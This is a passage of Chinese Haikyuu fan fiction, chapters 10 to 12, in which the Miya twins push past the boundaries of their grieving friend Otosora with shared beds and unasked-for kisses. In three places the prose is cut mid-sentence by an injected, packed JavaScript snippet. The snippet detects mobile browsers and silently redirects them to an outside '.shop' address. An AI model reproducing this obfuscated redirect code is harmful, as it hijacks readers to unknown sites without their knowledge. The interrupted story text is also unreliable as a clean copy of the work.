宫侑心跳得快蹦出来,干笑了两声,“没什么,我好像看到有只虫子飞走了,对,可恶的虫子!” “是啊。”宫治带了点嘲讽的笑,“可恶的虫子,冬天居然还在出没。” 清水音空摸了摸脸上,没有被虫子落脚后的异样麻痒感,倒有点宫侑靠太近呼吸扫过的让皮肤有点痒的感觉。 他没真正睡着,但意识确实有点模糊,只能隐约感觉到宫侑在靠近,好像没听见虫子飞的声音,不知道是不是太小了。 “没事就行了。”清水音空提起背包,“走吧。” 宫治也提起包跟上,瞪了宫侑一眼,宫侑不甘示弱且理直气壮地瞪了回去。 “啧。” “哼!” 清水音空拉开木门,撩开外面一层布帘。 雪下得更大了,不再是之前的星星点点,不打伞走一圈,黑头发黄头发银头发都得变成白头发。 天色更黑了,路灯已经打开,照出明亮的光圈,映着不断下落的雪,像一个个大型的雪景球。 属于冬天的有点寂寥的景色。 两颗脑袋从他旁边冒出来,关上身后的门。被室外冷风一吹,倒吸两口凉气。 “这下麻烦了,你们带伞了吗?” “早上又没下雪,也没下雨,我带伞干嘛。” “出门太急,没看今天的天气。” “斜对面路口那里有个便利店,但我不会借钱给明知道零花钱不够还要多加一份牛肉的阿侑的。” “音空,你看阿治!” “很漂亮的雪。” 清水音空放下布帘,走进雪中。 前几天也有下雪,但他那时候在家里没有出家门一步,窝在被炉里隔着门窗看的雪,和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883136|191994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲自接触到的是不一样的。 他想了想,问: “要跑回去吗? “用不了多久,回去后尽快洗澡,再喝一碗姜汤,感冒的概率很……” 不等他说完,两人已经冲过来,一人拉着他一只手朝前跑去。 “好耶!”“出发!” “等、”还没来得及调整姿势跑得踉踉跄跄的清水音空感觉自己像被两只爆冲的大型犬拽得快飞起来,扑面而来的寒风却有着莫名的爽快。 宫双子没有放慢脚步,习惯跑步的清水音空很快调整好。 他意识到这俩拿出了早训时一股脑冲在最前头彼此拼命较劲的势头,偏偏还要把他也按在这样的节奏里。 一贯稳定的清水音空没有选择挣脱那两只像钳住他的手,反倒是深呼吸过后,在没入肺部的冰冷空气刺激下猛地发力,蓄势猛冲,跑到了宫双子前头。 这下,是他一个人拉着两个人在跑了。 宫侑眼睛一亮:“很有干劲嘛音空,我不会输给你的!” 宫治发力向前追:“我来了!” 但拉着手,彼此之间又能真正超出多远呢。 不过是三人一同用尽全部力气疯狂向前奔跑,偶尔有落下的,也会被另外两人拉着始终跟上。 一直跑到家门口,才气喘吁吁地停下来。 不知道是谁先发笑的,另外两人也跟着笑出了声,然后笑得一发不可收拾。 清水音空撑着大腿喘着气:“像笨蛋一样。” 宫侑扶着门框捂着胃:“呕……牛肉和猪排要跑出来了。但我是最先碰到门的!我赢了!” 宫治按着颤抖的膝盖,身上的肌肉用殴打他的方式提醒已经忘记的他今天有多过分,酸痛到他怕自己下一步就跪地上了:“本来就是笨蛋,三个笨蛋。还有,谁说终点是门,明明是门口的马路吧!是我先过来的!” 两人看向“裁判”。 清水音空打开门,第一个走进去,“这才是终点。我赢了。” “好狡猾!太阴险了!” “裁判下场比赛还吹黑哨的程度。” 清水音空点点头:“那你们去找纪律委员会投诉我吧。” 两名正义的选手在恶势力下瑟瑟发抖,只能吃了哑巴亏,靠揉乱裁判头发把雪拍得到处都是的方法进行报复,结果还被赶回了家里。 没过多久,裁判送了两碗味道一般但暖胃暖身效果max的姜汤过来,成功和选手再次站在同一阵营。 确认宫双子有尽快换掉衣服擦干头发准备洗澡后,清水音空告别宫阿姨,回家洗了个舒服的热水澡,吹干头发换上家居服,坐到书桌前开始写作业。 现在还不到他睡觉的点,他也没有在正常上课期间把作业留到第二天补的习惯。 家里还是那么安静,这栋面积不算小的房子,在祖母离开后,总会让他觉得除他以外的地方都笼罩着一片幽深的黑色。 原本以为学校也没好到哪里去,顶多是漆黑中多了些影影绰绰的人影,本质上并没有改变。 但,好像是好一些。 至少待在家里不会让他偶尔有当一个什么都不想的笨蛋的冲动。 治和侑应该也能放心了吧。 今晚可以睡个好觉了。 …… “为什么你们还是过来了?” 宫侑比清水音空还惊讶:“我为什么不来?” 宫治啪叽一下瘫到床上:“好累,我睡了。” 宫侑跨过宫治钻进里侧的被窝。 随即想到什么,把被子大力甩了两下,扇起大片扑面而来的风,把宫治那边重叠部分的被子都掀开了,才躺进去。 他拍了拍自己旁边,充满热情:“快来快来,别忘记了,你今晚跟我睡!” 清水音空:“……” 嗯。 好觉变成未知数了。 10. 第十章 明白 “……” 呼吸声均匀平稳,能听得出主人公睡得非常香甜,身体在这方面也没什么毛病。 ——如果不是几乎贴在他耳朵旁边,就更好了。 不夸张的说,清水音空觉得自己已经在半麻的情况下被凌迟过一次了——没那么痛苦,但绝对算不上好过。 搭在他上半身的沉重手臂,屈起来贴在他大腿外侧的膝盖,还有跟他挨得很近的脸。 如果他的私人空间是一座看不见的透明玻璃房,在宫侑睡着后没多久,就变成了四处漏风的一栋破屋。 一开始还是好好的,宫侑也累了,没捣乱,等他上床后,灯才关上一会,就沉入梦乡去了。 清水音空还是不太适应旁边有人,哪怕宫侑跟昨晚一样挺规矩地保持着距离,也让他感到毛骨悚然。 但他确实也困了,就算不太舒服,在床对睡意的加持作用下,慢慢睡着。 还没彻底入眠,宫侑滚了一下,胳膊腿就搭过来了,脑袋也凑上来了。 那一瞬间,清水音空简直像是看恐怖片的时候被床下冒出来的鬼怪袭击了,清醒得不能再清醒了。 他把宫侑推了回去,从侧身变成平躺,拉开了距离,没过一会,宫侑又翻过来了。 清水音空并不是很想半夜在床上练臂力。 但太不能忍了! 比起被压得喘气不太顺畅来说,最让清水音空不适的,还是在他可以说是独占了这么多年的领域里被他人大肆入侵的感觉。 隔着睡衣传过来的体温,让皮肤发痒的呼吸,鼻腔里宫侑使用的沐浴露和洗发水混合的温暖香气。 好怪。 全身上下每个细胞都在尖叫着抗拒,大脑像过电一样发麻,如果心理能呕吐现在应该满世界都是彩虹色了。 就连把宫侑推走,都因为必须产生的肢体接触,成了伤敌一百自损八千的惨烈景象。 清水音空不是不想把宫侑踢下床去——虽然以宫侑的方向也只能踹到墙上去——而是他没力气了。 该形容是恐惧吗?还是厌恶? 太过激烈复杂的感官和缺少睡眠的疲乏身体显然相性不太好,让他既昏昏沉沉地无力,又全身难受地清醒着。 明明日常接触没有问题的,为什么睡觉时就会这么难以忍受? 想来想去,清水音空只能把原因归为老调重弹的不习惯。 这个转移注意力的想法没起到多大作用,宫侑像审讯室里的大号探照灯,照得他全身发烫像被阳光直射,躲不开分毫。 时间还算不上深夜,拉了窗帘的房间里很黑,安静到能清晰听见一远一近的呼吸声。 很规律,和他们本人一样,很有活着的气息。 像宫治和宫侑这样的人,才能算是在活着吧。 人活在世界上,不是生命还在活动的一种状态,而是要看精神有多大的能量,不然,也只是一具无趣的行尸走肉而已。 要有喜欢的东西,要嬉笑怒骂感情浓郁,要有坚定的目标,要有实现理想的努力。 还要有与世界足够的连结。 人是社会关系的总和,但不是每个人都在社会关系中拥有不可取代的位置。 好朋友会有别的好朋友,有重要的无可取代的亲人,有在关键时刻给予帮助的人,还有很多很多的人。 就像编织起来的蛛网,哪怕中间破了一个洞,也会被慢慢修补好。 就连感情良好的亲人,也不是失去后就永远留下一个无法填补的洞。 人总是在学着接受死亡,说服自己看开,然后在时间里逐渐淡化。 当初为家人去世痛苦的人,在十年后还会一提起来就忍不住掉眼泪吗?在二十年后还能准确记得彼此的回忆吗?在三十年后还能想起那张脸的模样而不是从遗像上找细节吗? 清水音空并不觉得忘记是需要被谴责的,他也不觉得自己的想法就是特殊的,优越的。 每个人有每个人的看法,他不会干涉别人。 同样,也希望任何人都不要干涉他。 他不会说出来,给别人花费工夫打扰他“纠正”他的机会。 所以,侑和治算什么? 潜意识里察觉到不对的大只动物吗? 不太像。 但对一个人过往印象的总和,并不代表这个人将来就只能在这个圈里打转。 ——这种刻板印象用来看他还挺有用,对宫双子就不太行了。 有出乎意料的事反而是正常的。 呼吸逐渐平复下来了,大脑像是已经麻木,发麻的指尖也开始使得上劲。 清水音空不厌其烦地把宫侑的胳膊拿下去,朝宫治那边挪了一段,拉开和宫侑的距离,然后就隔着两层被子碰到了睡姿变得大开大合的宫治。 ……还好,宫治心思细腻点,昨晚跟他一起熬夜了,睡着后大概也没睡很安稳,没有乱翻乱滚。 不像今天这么累,直接现出原形了。 不然他连那一点点睡眠时间都没办法保持了,得被靠过来的宫治吓得魂飞魄散。 但也就昨天了,排球部的惩罚结束之前,他床上就是两颗人形炸弹,随时能把他炸得东一块西一块。 窗帘边缘有一线薄到像幻觉的月光,照亮了丁点儿墙壁,像浅色蜡笔淡淡抹出的画面。 清水音空盯了一会,突然有点想把窗帘拉开,看看有着反光所以会更加明亮也更加清冷的雪夜。 或许,他只是在给自己找一个合理通宵的借口。 明天早点去厨房做早餐吧,到时候装成早起的样子就好了,以治和侑的疲惫程度,绝对会一觉把闹钟都睡过,察觉不到的。 部活就有点麻烦了,不能再用身体不舒服请假了,不然通宵的事就暴露了。 其实今天他本来也应该和宫治一个待遇的,但他毕竟刚销假,可以说迟到也可以说没迟到,再加上祖母的事……黑须教练是个好人。 找点让大家都好的借口糊弄过去吧。 帮同学补习怎么样?只要先获得了老师的认可,教练那里就可以换个说法,还能拖上好几天,他总不能一直都睡不上觉吧。 轻手轻脚坐起来准备下床的清水音空顿住了,突然有点好笑。 他为什么要用这种对一堆人说谎的方法来迂回处理? 就算他直接和宫侑说“都怪你让我一晚没睡着”又怎么了,因为睡眠严重不足无法训练告诉教练又怎么了? 这些事难道是他的错吗? 该想办法遮遮掩掩的人是他吗? 月光与雪夜失去了吸引力,怀着近乎赌气般的心情,清水音空又躺了回去。 “……音空?” 含混不清的呓语传来。 如果不是距离太近,清水音空都听不清是他的名字。 他转头看向宫侑,只能看见一个很模糊的轮廓,但对方极具侵略性的温度与气息,勾勒出了一圈显眼的存在感。 不是醒来的状态。 在说梦话吗? 为什么叫他的名字? 宫侑没再继续说话,又朝这边翻过身来。 因清水音空拉开的距离,这次,只是手掌搭在了清水音空的胳膊上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883137|191994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡着的人,手是没有力气的。 哪怕这是一只能打出大力跳发的手,此刻也仅仅具有它本身的重量,而不是全身肌肉调动起来的力度。 可能是稍微有点脱敏了,还是不太舒服,但没那么难受了。 清水音空没再扔开这只手,闭上眼睛,纷扰的思绪逐渐消亡于深深的困意。 过了一会,半梦半醒的宫侑勉力撑开沉重的眼皮。 他还记得自己要发起进攻的事,一心念着睡着以后要往清水音空身上黏——醒着的时候不这么做是怕直接把人吓跑了。 但睡得实在有点香,好在身体似乎还留了根神经绷紧了提醒他,偶尔把他从睡梦里拽上来一点,朦朦胧胧地执行任务。 刚刚音空是不是起床了? 好像起了,好像没有。 隔得有点远…… 宫侑拖着被子拱过去,像抱玩偶熊一样扒拉住清水音空,不到三个呼吸,已又睡得香甜。 清水音空睁开了眼睛。 清水音空放弃了。 清水音空闭上了眼睛。 …… 始终感觉在梦境和现实浮浮沉沉,一点都没睡好,睡出一双淡淡黑眼圈的清水音空紧皱的眉头微微松开了。 很陌生,还是有点难受。 但他已能在很困的情况下开始接受宫侑的存在感,而不是本能视作一个恐怖的威胁。 早上,他是被闹钟吵醒的。 显而易见,吃过一回亏的宫双子记得把人生的重要装备带过来了。 清水音空还有点没睡饱,不太想起床,身侧暖烘烘的温度却乱动起来,一只手在他旁边胡乱摸索。 摸到他的肩膀,摸到他的脸,还不分轻重地抓了一把。 “阿治,吵死了!快关掉!” 还在说着这种话。 旁边的宫治也被吵醒了,皱着眉头爬起来啪一下按掉床头柜上的闹钟,睡眼朦胧朝里说道:“再睡就迟到了……” 他愣住了。 在看到抱成一团的清水音空和宫侑时。 “你昨晚没睡觉?”不等清水音空回答,看得清清楚楚这是睡眠不错状态的宫治已自己否认了,“你睡得不错。” 他有点不可思议又有点难以言喻地重复了一遍:“你睡得不错。” 仿佛已被无声质问了“我小心翼翼的结果你的恐人症好像没那么严重还是说就该强硬点你很快就会屈服了”的清水音空:“……” 突然有种情感剧里被误会还无从解释的感觉。 还没等他从满脑子很有既视感的“你听我解释”“我不是那个意思”“我没有睡很好你不要误会了”等话语中找出一句合适的,宫治已若有所悟般点点头。 “我明白了。” “你明白什么了?” “我全都懂了。” “你懂什么了?” 清水音空感到不妙。 但宫治已一手隔着被子按在他肩膀旁边,一手从刘海底下插入他的额发向上推开,露出光洁的额头,俯身吻了上来。 柔软的,温热的,干燥的。 一个额头吻。 却是比莫名其妙的告白更猛烈的冲击。 就连宫治被宫侑扯开后宫侑怒吼“你在干什么?!”的动静,都变得虚幻起来了。 清水音空摸了摸还残留着嘴唇触感的那片皮肤。 一个不该发生在朋友之间的吻。 虽说他没想过告白是真心话大冒险之类的,所谓报复也是玩笑。 但,喜欢居然是认真的? 11.第十一章 厉害 看到电视剧中的角色被无感的追求者强吻的情节时,清水音空能够理解那种愤怒和厌恶。 因为对方的行为不够尊重人。 且关系没达到相应亲密程度也没获得允许时,就自顾自做这样的事情,完全是性骚扰吧。 如果是无感但不讨厌甚至关系可以说最亲近的人呢? 清水音空就有点迷茫了。 吻带有各种各样的含义。 恨,爱,喜欢,憎恶,怜悯,疼惜,暧昧…… 似乎人类的一切情感都可以通过这个动作来传达。 但如果只有一方拥有情感,另一方丝毫不为所动,也没有因世俗意义上亲吻的定义从而对做出这个动作的人产生情绪时,它就回归了什么都没有的本质。 只是像胳膊挨到胳膊那样,与皮肤间的触碰也没有什么区别。 那么,和其他不讨厌也不喜欢的事情一样,这就是可以做的吗? 似乎也不是。 可是,难道他和他们一起睡觉,就是可以做的了吗? 应该不是吧。 那为什么只能允许后者不能允许前者。 从一开始,就因为他没重视宫双子的告白,模糊了不该退让的边界线,导致现在再想做出区分都变得无力了。 不然,宫治肯定会觉得,难道亲他这件事,比他被宫侑抱着睡觉还难以忍受吗? 当然不是这样。 要全然说这个亲吻没有任何感觉,也不是的,只不过和脸红心跳没什么关系。 额头被吻过的皮肤泛着异样的酥麻,像无数只小虫细细密密的胸足扫过,陌生的情感通过这个行为强硬传达到他身体里,像刻下了一个逼迫他直视的烙印。 是真的喜欢他。 喜欢到能用恋人的姿态亲吻朋友。 喜欢是什么?为什么能做到这种事?以后又要做出什么?是不是需要他给出什么? 胃好重。 清水音空从来没说过,以前普通的日常,在他失去与这个世界唯一的线之后,就变成了需要用精力去一项项兑现的沉重事物。 这些沉重的事物做到了也没什么意义,所以他开始学着偷懒。 经常做的饭菜,变成了冰箱里塞满的汤料酱料蔬菜干和一大堆保存时间更长的真空包装拉面,还有厨房橱柜里一箱箱速食食品。 日常的训练量,变成了每天在家什么也不干。起床,洗漱,放空,思绪漫无目的地徜徉。到点了就吃点东西,或者早一点吃晚一点吃也没关系。一天总是过得很快,马上就第二天了,接着是没有意义的第三天。 本以为上学是无所谓的,不讨厌,所以可以做。 但这件事本身肯定比待在家里消耗精力。 更不舒服的是,当他走出家门,就像走出大家都能看见的静默领域,一件件事情都开始找上门来。 宫双子漏勺般的大脑即将考出来的惊世成绩。 一直以来都很辛苦如今坚持下去也像是没有什么意义的排球部训练。 政府方面催促他尽快从资料里不认识的远亲们筛选出愿意见一面的对象,毕竟他需要监护人,如果找不到合适的,就要进入福利院。 好烦。 为什么非要解决这些事情不可?就这么拖着吧。但拖着也不会消失,只要还活着,就必须要面对。 宫治的亲吻,无疑是烦上加烦。 治和侑的朋友有很多,幼驯染也不是不可替代的。 尾白前辈不就是吗? 甚至在对排球的热情上,尾白前辈与他们更加合拍。 但怀有恋爱之情的幼驯染,就非常特别了。 就像是莫名给他增加了一份责任,成了新的负担。 当然,他可以扔下,但这份负担始终在那里,不管他做什么决定,都会影响着他。 胃重到有点犯恶心。 清水音空没有表现出来。 他只是仿佛什么感觉都没有,很平常地坐起来,看着宫侑拽着宫治的睡衣领口。 宫侑怒目圆睁,握着拳头,仿佛下一秒就要上演双胞胎大乱斗。 宫治表情却出乎意料地平静,平静到甚至有点“你在犯什么蠢”的嘲讽感。 对宫侑的问题,宫治的回答言简意赅:“我干了什么你不是很清楚吗?不然你生什么气。” 睁开眼看见宫治在亲清水音空的宫侑简直要气死了,虽然他还没来得及想自己在气什么,“但是音空又没……” 宫治打断了宫侑的话:“有什么话在脑子里过一圈再说出来,别蠢到令人发笑。阿侑,我不该这么做吗?” 双子几乎一模一样的外貌中差异最大的偏深灰色的眼睛,对视着宫侑偏黄褐色的眼睛。 这是只有他们彼此才明白背后约定的问题。 宫侑当然还记得。 阿治没做错任何事情。 但是…… 宫侑活像吞了一大口芥末,呛到脸和脖子都红了,心里憋得难受,眼睛转向似乎还没回过神来的清水音空。 额头已经被刘海重新遮住了,坐起来的姿势也和他刚醒来时看到的模糊亲吻剪影无法重合。 可一旦看到音空的额头,就会想到阿治亲上了。 甚至音空就躺在他旁边,被他横着胳膊半拢在怀里。 过了几秒,宫侑重新组织起语言,试图胡搅蛮缠:“那你也不能……” “不能吗?”宫治抬眸,“你要我放弃音空?还是你要认输放弃?” “混蛋阿治!” 这回答可谓是点燃了本来就快爆炸的宫侑。 但他没有动手,因为他知道宫治说的是对的。 他们谁都不会放弃的。 宫侑恶狠狠瞪了宫治一眼,气势汹汹地放开了皱成一团的布料,快步走向不在状态的清水音空,在清水音空额头上一顿搓,像是要把宫治留下的痕迹全部搓干净。 然后,凑上来一口亲在了脸颊上。 似乎犹嫌不够,食指指腹在嘴唇上按了一下,还是捏着下巴让脸颊侧开些,轻飘飘的吻落在了侧颈。 很轻,也没有别的意味,一触即分。 如果不是宫侑气血总是那么足,在寒冷冬天也热得像个小火炉,那这个吻轻地甚至很难被感觉到。 可现在,宫侑的特质使它的温度格外明显,像生命的脉络被火燎过,那一小抹沾染上烫意的血液分散开来,飞快散落到全身。 额头上的触感并没有因为被粗糙地擦了几下就消失,反而泛滥开来。 宫侑得寸进尺的两个吻则是雪上加霜。 清水音空一时间不知该作何反应。 脖子痒得他有点难受。 他推开宫侑凑得太近的脸,拉下捏着他下巴的手,用睡衣袖子擦了擦脖子。 没有用。 就像脸上落下一只虫,爬了几步,等他从瘙痒感意识到经历过这件事时,摩擦和抓挠都不起作用,只能等时间让那块皮肤从颤栗慢慢恢复原状。 胃更重了。 两个。 两个人。 两个吻。 有一个吻,位置还是比脸颊和额头更加暧昧不清的侧颈。 当作追求者拒绝掉有用吗?没有。 他们并不在乎是不是追求者,比起才刚建立的追求者关系,共同长大的幼驯染关系才是相处常态。 要绝交吗? 相比这个过分的选项,清水音空觉得自己还能忍一忍。 他按住一双眼睛闪闪发光红着脸非常期待他反应的宫侑,把金色脑袋往下压了压,被占满的视野让出部分,终于能看见站在后面沉着脸表情难看的宫治。 胃部的沉重感还在增加。 但好像有点习惯了。 既然打算忍了,那水还是要端平的。 清水音空像说“这一半布丁是你的”那样平常地:“治,你差一个,过来补上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906288|191994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 宫治愕然地睁大了眼睛,震惊到有些不知所措。 “音空!”宫侑不满极了,挣扎起来抓着清水音空的肩膀,“这种事不用公平的!” “是吗?那朋友之间是不是不应该这么做?” “……” “我说以后不要亲我,晚上不要来找我一起睡,和我保持朋友应该有的距离,你们会听吗?” “……” “我知道你们不会。你们还会使劲给我找麻烦,毕竟你们不就是这么告白的吗?” 清水音空放开手,哑口无言的宫侑脑袋往他肩膀上一砸,有些闷痛。 他拍了宫侑后背一下,没收敛力气,还以颜色,也算是小小的泄愤了。 毕竟要不是宫侑晚上睡姿不好,也不会闹出这件事来。 然后,他对宫治说:“过来,治。” 就像他以前东西分双份时,也是理所应当的给,而不是先问要不要。 因为他知道回答都是肯定的。 轻吻落在另一边肩窝,暴露在空气中微凉的皮肤,被颤抖的嘴唇烫了一下。 清水音空也用衣袖擦了擦,他知道没用,但一视同仁,不然显得他在嫌弃宫侑一样。 “好了,快点起床,今天院子里和门外应该要扫雪,我们得抓紧点时间了。” 略显沉闷的应答声过后,正常的早晨在诡异的安静中开始了。 铲完厚度已经影响行走的雪,堆成颜色脏兮兮的雪堆。 干活时,宫双子难得没有打闹起来,没有你一铲我一铲地朝对方泼雪,最后打成两个栽在地里都找不到的雪人。 反而特别专注特别快,乖巧安静到让清水音空发沉的内脏都舒缓点了。 一直到因有些路段可能没铲雪改成在体育馆内的晨跑结束,换好衣服往教学楼去准备上课时,一整个早晨态度都不太对的宫双子才异口同声地开口: “音空。” “音空!” 清水音空:“在。” 宫治先说:“你中午还吃便利店吗?” 他可是知道的,冰箱里都没有新鲜食材了,家里全是速食产品。 清水音空想了想:“应该。也有可能去食堂。看哪里人比较少。” “中午我来找你。”宫治说。 “你们不是带了便当吗?不用凑在一起吃。” “不行,”宫治说,“跟带不带便当没关系。” 清水音空:“好。我下课后在教室等你五分钟。” 宫侑紧接着道:“我也会来找你的。你昨晚睡得怎么样?” 清水音空明白了:“还不错。我下午会照常参加排球部训练的。” “我不是说这个。”宫侑有点苦恼地皱起眉头,整个人的开心却是抑制不住的,毕竟他自认为取得了很大的突破,都让清水音空这么快适应他了,“睡得好就行,你很久没打球了吧,我会让你感受到全新的托球的,做好心理准备!” “好。我会期待的。” 也只有对宫侑这样喜欢排球的人来说,个把星期不打球就叫做很久了吧。 而且,是挨骂的心理准备吗? 那他倒是不用做,这种事他不会生气的。 不过,气氛变正常了。 真快。 清水音空离开后,宫治和宫侑朝同一层的二年级教室走去。 两人之间有些沉默。 毕竟,清水音空的反应太超乎他们预料了,让他们连害羞的时间都没有,就像被大力跳发砸到了后脑勺上,砸得那些青涩心思和独占欲恍恍惚惚碎了一地。 本来以为这招突破的是清水音空的心理底线,哪知道是他们自己被破防了。 谁能想到清水音空能在这上面端水啊! 天秤座转世吗! “蠢治。” “猪侑。” 两人再度异口同声。 “音空,真厉害啊。” 12.第十二章 好重 宫侑表现总是太明显,心思一转到能再和清水音空一起打球这件事上,就没有丝毫遮掩。 宫治一边觉得正常,一边又多少有点不知道该说什么好。 毕竟现在再怎么看,更重要的也是别的事情。 连亲吻这样超过的举动,都能被音空打入一视同仁的范围,不仅说明这个杀手锏没了作用,他和阿侑也再不能轻举妄动。 不然谁愿意自己做点什么,得到的是端去兄弟那里的一模一样的水。 可以说是完全僵持在这里了。 但时间不容他们僵持。 宫治简直想把宫侑的排球脑袋真当排球来个扣杀了。 课间,他收到了阿兰的消息。 “问到了,班上恰好有个同学是这种情况,但具体的她还要和其他人商量好才能答复。” 他回复道:“谢了,放学请你吃关东煮。” 阿兰那边回了个“ok”。 退出对话框,列表里最近消息的一列头像,唯独没有清水音空的。 很正常,他都快和音空形影不离了,哪里用得着在手机上发消息。 而且,就他看到音空使用手机的频率来说,估计也是和先前差不多,处于社交软件上失踪的状态。 但焦躁感容易让他想到音空离开后就是这样。 如果不置顶,就在列表里沉底。 如果置顶,就会永远看到再也得不到回复的聊天框。 宫侑怎么还能想到要一起打球就这么高兴的。 要知道,清水音空走后,因为那不爱拍照录视频的性格,还能找到身影的影像资料里,除了那些各种性质的合照外,基本就是集中在稻荷崎这一年里的训练记录和比赛录像。 还有角名提供信息的后援会成员在清水音空比赛时为他单独拍摄的视频。 也是排球部成绩不错,稻荷崎又社团文化兴盛,受到校方支持,才能社团活动经费充足,各项设施都很好。 像国中和小学时期,要找到这些记录就很难了。 这些东西,宫治也拷贝了一份。 但他不像宫侑那样经常看。 宫侑嘴巴硬得很,还很有种被清水音空背叛了的怨愤。 经常说自己忙得要命,拿回来只是为了防止以后资料出什么意外毁坏就彻底没有了,哪有时间看。 说他可是队长,要带新人带队伍管理好大家,还要去打败曾经的劲敌。 翔阳和小飞雄那群乌鸦可是进化很快的。 简简单单一两句话,他实际上要做的事情可多了。 就算闲下来,他也还得提升自己的排球实力吧,得打打足球实况吧,得看点新出的漫画吧,得把发根补染一下颜色吧,得吃掉冰箱里自己长出来的芝士蛋糕吧,得应邀去北前辈家聚会干点农活再被抓着补习下功课吧…… 理由借口一大堆,把U盘用到脱漆的也是他。 宫治说不看就是真的不看。 因为他不能像宫侑那样,真的只是单纯的看,还指出清水音空哪里需要进步哪里表现特别好,心里没有一丝芥蒂。 他看了只会想到排球以外的事情。 回忆的重量刚刚好,再多,生活就没办法前进了。 稻荷崎男子排球部的标语是“无需追忆昨日”。 不管过去取得了多少胜利,又遭遇了多少失败,现在要做的就是走好当下每一步,朝着未来的目标前进,不要抱着回忆溺死。 他和阿侑一直以来都做得很好。 他们本来就是这样的人,和稻荷崎相性好到爆炸。 但清水音空不一样。 这是他们一起长大的一部分,不是胜利也不是失败,是一个活生生的人。 他们固然不会选择陪音空留在昨日里,却也不会就这么放下他,而是带着这份也许会在时间里逐渐遗失的重量向未来走去。 也算是另一种契合吧。 想到这里,宫治烦闷的心情轻松了些。 就算手段暂时不起作用了,但以目前紧迫盯人的架势,音空也没办法做出什么事。 因此,哪怕上午最后一节课因为小测成绩被老师单独留下来聊了会,没能在五分钟内去找音空,最后在食堂汇合的,宫治心情也依然不错。 清水音空点了一份咖喱猪排饭。 他排队回来,在看到宫治和宫侑健康到似乎不太美味的便当后,不免有些惊讶。 “你们这么早就用运动员的饮食标准要求自己了吗?” 就算清水音空知道宫侑以职业球员为目标,宫治也很大可能一样,但高中时的社团活动还是以兴趣爱好为主,做到这一步未免显得太隆重了。 宫侑眼睛跟着清水音空碗里浓稠的咖喱酱汁和金灿灿的炸猪排转:“晚点不如早点,这么吃更健康,营养上完全足够。” 宫治扒拉了一下碗里的鸡胸肉,然后夹起来,在清水音空餐盘里裹了圈酱汁,“妈妈每天早晨准备两份不一样的便当太麻烦了,我也不是不能吃,但我没像他一样忌口。” 清水音空听出了其中的区别。 他没说什么,分了一小半猪排和咖喱给宫治。 然后就被宫侑垂涎三尺的眼神盯得有点压力。 好在,宫侑的自制力完全值得信任,只是在面前吃看着难免会馋,实际上一句想来一份或者蹭一口的话都没有,顶多抱怨下太折磨了。 清水音空不知道宫侑为什么那么期待和他一起打排球。 倒不是他对自己的实力妄自菲薄,而是他的打球风格就那样。 和他当队友似乎也和酣畅淋漓的爽快沾不上边,反而没有了灵光一闪配合出来的奇迹般的可能性。 如果一个二传手明知道给主攻拖什么样的球后能打出什么样的球,得分的几率有多高,是不是已经失去托球的趣味了? 宫侑是这个二传的话,肯定是这么觉得的。 太过稳定也就等于与奇迹和有趣无缘。 清水音空有一段时间没训练过了。 正在发育期的身体机能每天都比昨天强一点点,体能也不至于在一周内就下降得那么快。 此刻重新做起来,比起身体上的疲惫,更多是心灵上的。 体力在一项项体能训练中被快速消耗掉,待到开始主攻手位置的专项训练时,清水音空已有些气喘。 他擦去额头上的薄汗,接住宫侑抛来的排球。 三色排球随着动作在两只手掌中缓慢转动一圈,一段时间没接触的陌生感甚至让它有些轻飘飘的,像是会飞舞出不确定的弧线。 但很快,经年累月触摸的熟悉感重新被唤醒,它也就变得哪里都刚刚好了。 不管是重量,还是软硬,该抛到多高,在哪个点击球,施加怎样的旋转能打出什么角度的弧线,都清晰浮现出来。 排球部对基本功要求很高,就算不精通,起码每个能首发的队员,接发扣拦传每一项都不能太薄弱。 对主攻来说,扣球还是最根本的得分手段。 但他还是先发球吧,一样样轮着来。 找到手感后,排球场便也变成了熟悉的样子。 毕竟,不管场上是否有对手和队友,最重要的都是这颗球,不是吗? 它会以多快的速度飞出去?它会落在哪里?它会怎么飞回来?该怎么让它能够得分? 最后,它会为其中一个半场带去胜利,剩下的半场则笼罩在失落之中。 手掌把排球摩擦得有些热了,皮肤便也变得热起来。 清水音空站在发球点上,第一项训练是精准度,他瞄准了对面半场的边界线内侧。 抛球。 助跑。 起跳。 球与手掌接触的时间那么短,短到再过几秒,球会往下掉,短暂滞空的人也会往下掉。 所以,该怎么做,在这一瞬间就要想好。 站在赛场上时,思考节奏会更为紧凑,仿佛一眨眼间球就飞了过去又飞回来,反应不够快的话,甚至二传手传的球飞到头顶了还没意识到。 清水音空选择了自己熟悉的跳飘球。 